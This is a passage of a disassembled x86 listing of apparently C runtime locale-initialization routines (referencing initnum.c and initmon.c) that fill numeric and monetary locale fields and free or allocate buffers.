call sub_415C60
add esp, 8
mov eax, [ebp+var_4]
mov dword_4DE1C8, eax
xor eax, eax
jmp short loc_42BE47
; ---------------------------------------------------------------------------
loc_42BE11: ; CODE XREF: sub_42BD70+Bj
mov off_4482A8, offset off_4482B0
mov ecx, dword_4DE1C8
push ecx
call sub_42C3E0
add esp, 4
push 2
mov edx, dword_4DE1C8
push edx
call sub_415C60
add esp, 8
mov dword_4DE1C8, 0
xor eax, eax
loc_42BE47: ; CODE XREF: sub_42BD70+37j
; sub_42BD70+6Bj ...
mov esp, ebp
pop ebp
retn
sub_42BD70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BE50 proc near ; CODE XREF: sub_42BD70+40p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
xor eax, eax
mov ax, word_4DE202
mov [ebp+var_4], eax
xor ecx, ecx
mov cx, word_4DE204
mov [ebp+var_8], ecx
cmp [ebp+arg_0], 0
jnz short loc_42BE82
or eax, 0FFFFFFFFh
jmp loc_42C3DB
; ---------------------------------------------------------------------------
loc_42BE82: ; CODE XREF: sub_42BE50+28j
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 31h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8
push edx
push 32h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0Ch
push edx
push 33h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 34h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 35h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 36h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
push edx
push 37h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 20h
push edx
push 2Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 2Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 2Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 2Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 30h
push edx
push 2Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 34h
push edx
push 2Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 30h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 38h
push edx
push 44h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 3Ch
push edx
push 45h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
push 46h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 44h
push edx
push 47h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 48h
push edx
push 48h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 4Ch
push edx
push 49h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 50h
push edx
push 4Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 54h
push edx
push 4Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 58h
push edx
push 4Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 5Ch
push edx
push 4Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 60h
push edx
push 4Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 64h
push edx
push 4Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 68h
push edx
push 38h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 6Ch
push edx
push 39h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 70h
push edx
push 3Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 74h
push edx
push 3Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 78h
push edx
push 3Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 7Ch
push edx
push 3Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
push 3Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 84h
push edx
push 3Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 88h
push edx
push 40h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8Ch
push edx
push 41h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 90h
push edx
push 42h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 94h
push edx
push 43h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 98h
push edx
push 28h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 9Ch
push edx
push 29h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A0h
push edx
push 1Fh
mov eax, [ebp+var_8]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A4h
push edx
push 20h
mov eax, [ebp+var_8]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A8h
push edx
push 1003h
mov eax, [ebp+var_8]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
loc_42C3DB: ; CODE XREF: sub_42BE50+2Dj
mov esp, ebp
pop ebp
retn
sub_42BE50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C3E0 proc near ; CODE XREF: sub_42BD70+50p
; sub_42BD70+7Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_42C3EE
jmp loc_42C6E9
; ---------------------------------------------------------------------------
loc_42C3EE: ; CODE XREF: sub_42C3E0+7j
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+38h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+40h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+44h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+48h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+4Ch]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+50h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+54h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+58h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+5Ch]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+60h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+68h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+70h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+74h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+7Ch]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+80h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+84h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+88h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+8Ch]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+90h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+94h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+98h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+9Ch]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+0A0h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0A4h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+0A8h]
push ecx
call sub_415C60
add esp, 8
loc_42C6E9: ; CODE XREF: sub_42C3E0+9j
pop ebp
retn
sub_42C3E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C6F0 proc near ; DATA XREF: .data:00447998o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4DE1FE
mov [ebp+var_4], eax
cmp dword_4DE07C, 0
jz loc_42C86A
push offset dword_4DE1CC
push 0Eh
mov ecx, [ebp+var_4]
push ecx
push 1
call sub_430D00
add esp, 10h
mov edx, [ebp+var_8]
or edx, eax
mov [ebp+var_8], edx
push offset dword_4DE1D0
push 0Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
push offset dword_4DE1D4
push 10h
mov edx, [ebp+var_4]
push edx
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, dword_4DE1D4
push edx
call sub_42C9A0
add esp, 4
cmp [ebp+var_8], 0
jz short loc_42C7D9
push 2
mov eax, dword_4DE1CC
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, dword_4DE1D0
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, dword_4DE1D4
push edx
call sub_415C60
add esp, 8
mov dword_4DE1CC, 0
mov dword_4DE1D0, 0
mov dword_4DE1D4, 0
or eax, 0FFFFFFFFh
jmp loc_42C992
; ---------------------------------------------------------------------------
loc_42C7D9: ; CODE XREF: sub_42C6F0+8Fj
mov eax, off_448398
cmp dword ptr [eax], offset dword_448360
jz short loc_42C820
push 2
mov ecx, off_448398
mov edx, [ecx]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, off_448398
mov ecx, [eax+4]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, off_448398
mov eax, [edx+8]
push eax
call sub_415C60
add esp, 8
loc_42C820: ; CODE XREF: sub_42C6F0+F4j
mov ecx, off_448398
mov edx, dword_4DE1CC
mov [ecx], edx
mov eax, off_448398
mov ecx, dword_4DE1D0
mov [eax+4], ecx
mov edx, off_448398
mov eax, dword_4DE1D4
mov [edx+8], eax
mov ecx, off_448398
mov edx, [ecx]
mov al, [edx]
mov byte_447484, al
mov dword_447488, 1
xor eax, eax
jmp loc_42C992
; ---------------------------------------------------------------------------
loc_42C86A: ; CODE XREF: sub_42C6F0+1Fj
push 2
mov ecx, dword_4DE1CC
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, dword_4DE1D0
push edx
call sub_415C60
add esp, 8
push 2
mov eax, dword_4DE1D4
push eax
call sub_415C60
add esp, 8
mov dword_4DE1CC, 0
mov dword_4DE1D0, 0
mov dword_4DE1D4, 0
push 88h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_4150C0
add esp, 10h
mov ecx, off_448398
mov [ecx], eax
mov edx, off_448398
cmp dword ptr [edx], 0
jnz short loc_42C8EB
or eax, 0FFFFFFFFh
jmp loc_42C992
; ---------------------------------------------------------------------------
loc_42C8EB: ; CODE XREF: sub_42C6F0+1F1j
push offset a__1 ; "."
mov eax, off_448398
mov ecx, [eax]
push ecx
call sub_418870
add esp, 8
push 8Dh
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_4150C0
add esp, 10h
mov edx, off_448398
mov [edx+4], eax
mov eax, off_448398
cmp dword ptr [eax+4], 0
jnz short loc_42C92F
or eax, 0FFFFFFFFh
jmp short loc_42C992
; ---------------------------------------------------------------------------
loc_42C92F: ; CODE XREF: sub_42C6F0+238j
mov ecx, off_448398
mov edx, [ecx+4]
mov byte ptr [edx], 0
push 92h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_4150C0
add esp, 10h
mov ecx, off_448398
mov [ecx+8], eax
mov edx, off_448398
cmp dword ptr [edx+8], 0
jnz short loc_42C96B
or eax, 0FFFFFFFFh
jmp short loc_42C992
; ---------------------------------------------------------------------------
loc_42C96B: ; CODE XREF: sub_42C6F0+274j
mov eax, off_448398
mov ecx, [eax+8]
mov byte ptr [ecx], 0
mov edx, off_448398
mov eax, [edx]
mov cl, [eax]
mov byte_447484, cl
mov dword_447488, 1
xor eax, eax
loc_42C992: ; CODE XREF: sub_42C6F0+E4j
; sub_42C6F0+175j ...
mov esp, ebp
pop ebp
retn
sub_42C6F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C9A0 proc near ; CODE XREF: sub_42C6F0+83p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42C9A4: ; CODE XREF: sub_42C9A0:loc_42CA17j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42CA19
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42C9DD
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42C9DD
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42CA17
; ---------------------------------------------------------------------------
loc_42C9DD: ; CODE XREF: sub_42C9A0+17j
; sub_42C9A0+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42CA0E
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42C9EE: ; CODE XREF: sub_42C9A0+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42C9EE
jmp short loc_42CA17
; ---------------------------------------------------------------------------
loc_42CA0E: ; CODE XREF: sub_42C9A0+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42CA17: ; CODE XREF: sub_42C9A0+3Bj
; sub_42C9A0+6Cj
jmp short loc_42C9A4
; ---------------------------------------------------------------------------
loc_42CA19: ; CODE XREF: sub_42C9A0+Cj
mov esp, ebp
pop ebp
retn
sub_42C9A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4DE078, 0
jz loc_42CAEC
push 4Ah
push offset aInitmon_c ; "initmon.c"
push 2
push 30h
push 1
call sub_415520
add esp, 14h
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_42CA59
mov eax, 1
jmp loc_42CB4C
; ---------------------------------------------------------------------------
loc_42CA59: ; CODE XREF: .data:0042CA4Dj
mov eax, [ebp-4]
push eax
call sub_42CB50
add esp, 4
test eax, eax
jz short loc_42CA8D
mov ecx, [ebp-4]
push ecx
call sub_42CDE0
add esp, 4
push 2
mov edx, [ebp-4]
push edx
call sub_415C60
add esp, 8
mov eax, 1
jmp loc_42CB4C
; ---------------------------------------------------------------------------
loc_42CA8D: ; CODE XREF: .data:0042CA67j
mov eax, [ebp-4]
mov ecx, off_448398
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp-4]
mov ecx, off_448398
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp-4]
mov ecx, off_448398
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp-4]
mov off_448398, eax
mov ecx, dword_4DE1D8
push ecx
call sub_42CDE0
add esp, 4
push 2
mov edx, dword_4DE1D8
push edx
call sub_415C60
add esp, 8
mov eax, [ebp-4]
mov dword_4DE1D8, eax
xor eax, eax
jmp short loc_42CB4C
; ---------------------------------------------------------------------------
loc_42CAEC: ; CODE XREF: .data:0042CA2Bj
mov ecx, off_448398
mov edx, [ecx]
mov off_448368, edx
mov eax, off_448398
mov ecx, [eax+4]
mov off_44836C, ecx
mov edx, off_448398
mov eax, [edx+8]
mov off_448370, eax
mov off_448398, offset off_448368
mov ecx, dword_4DE1D8
push ecx
call sub_42CDE0
add esp, 4
push 2
mov edx, dword_4DE1D8
push edx
call sub_415C60
add esp, 8
mov dword_4DE1D8, 0
xor eax, eax
loc_42CB4C: ; CODE XREF: .data:0042CA54j
; .data:0042CA88j ...
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB50 proc near ; CODE XREF: .data:0042CA5Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4DE1F8
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0
jnz short loc_42CB76
or eax, 0FFFFFFFFh
jmp loc_42CD59
; ---------------------------------------------------------------------------
loc_42CB76: ; CODE XREF: sub_42CB50+1Cj
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
push 15h
mov edx, [ebp+var_4]
push edx
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 14h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 16h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 17h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 18h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_42CD60
add esp, 4
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
push 50h
mov edx, [ebp+var_4]
push edx
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 51h
mov eax, [ebp+var_4]
push eax
push 1
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 1Ah
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 29h
push edx
push 19h
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ah
push edx
push 54h
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Bh
push edx
push 55h
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 56h
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Dh
push edx
push 57h
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Eh
push edx
push 52h
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Fh
push edx
push 53h
mov eax, [ebp+var_4]
push eax
push 0
call sub_430D00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
loc_42CD59: ; CODE XREF: sub_42CB50+21j
mov esp, ebp
pop ebp
retn
sub_42CB50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CD60 proc near ; CODE XREF: sub_42CB50+C8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42CD64: ; CODE XREF: sub_42CD60:loc_42CDD7j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42CDD9
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42CD9D
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42CD9D
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42CDD7
; ---------------------------------------------------------------------------
loc_42CD9D: ; CODE XREF: sub_42CD60+17j
; sub_42CD60+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
